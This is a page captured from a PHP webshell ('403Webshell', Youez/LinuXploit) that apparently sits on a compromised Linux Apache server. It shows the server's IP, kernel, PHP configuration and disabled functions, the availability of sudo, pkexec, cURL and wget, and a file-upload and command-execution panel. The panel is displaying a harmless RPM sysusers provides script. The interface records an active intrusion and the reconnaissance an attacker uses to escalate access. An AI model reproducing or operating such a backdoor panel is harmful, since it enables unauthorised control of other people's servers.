403Webshell
Server IP : 43.141.50.122  /  Your IP : 113.219.202.173
Web Server : Apache
System : Linux VM-8-5-opencloudos 6.6.34-9.oc9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 19 19:35:45 CST 2024 x86_64
User : www ( 1000)
PHP Version : 8.1.27
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/rpm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/rpm/sysusers.prov
#!/usr/bin/bash

process_u() {
    if [ ! -z "${2##*[!0-9]*}" ]; then
        # Single shared static ID.
        echo "user($1) = $2"
        echo "group($1) = $2"
    elif [[ $2 == *:* ]]; then
        # UID:<group>.
        uid=$(echo $2 | cut -d':' -f1 -)
        group=$(echo $2 | cut -d':' -f2 -)
        if [ ! -z "${group##*[!0-9]*}" ]; then
            # UID:GID.
            echo "user($1) = ${uid}"
            echo "group($1) = ${group}"
        else
            # UID:<groupname>.
            echo "user($1) = ${uid}"
            echo "group(${group})"
        fi
    else
        # Dynamic (or something else uninteresting).
        echo "user($1)"
        echo "group($1)"
    fi
}

process_g() {
    if [ ! -z "${2##*[!0-9]*}" ]; then
        # Static GID.
        echo "group($1) = $2"
    else
        # Dynamic (or something else uninteresting).
        echo "group($1)"
    fi
}

parse() {
    while read line; do
        [ "${line:0:1}" = '#' -o "${line:0:1}" = ';' ] && continue
        line="${line## *}"
        [ -z "$line" ] && continue
        set -- $line
        case "$1" in
            ('u')
                process_u "$2" "$3"
                ;;
            ('g')
                process_g "$2" "$3"
                ;;
            ('m')
                echo "user($2)"
                echo "group($3)"
                ;;
        esac
    done
}

while read fn; do
    parse < "$fn"
done

Youez - 2016 - github.com/yon3zu
LinuXploit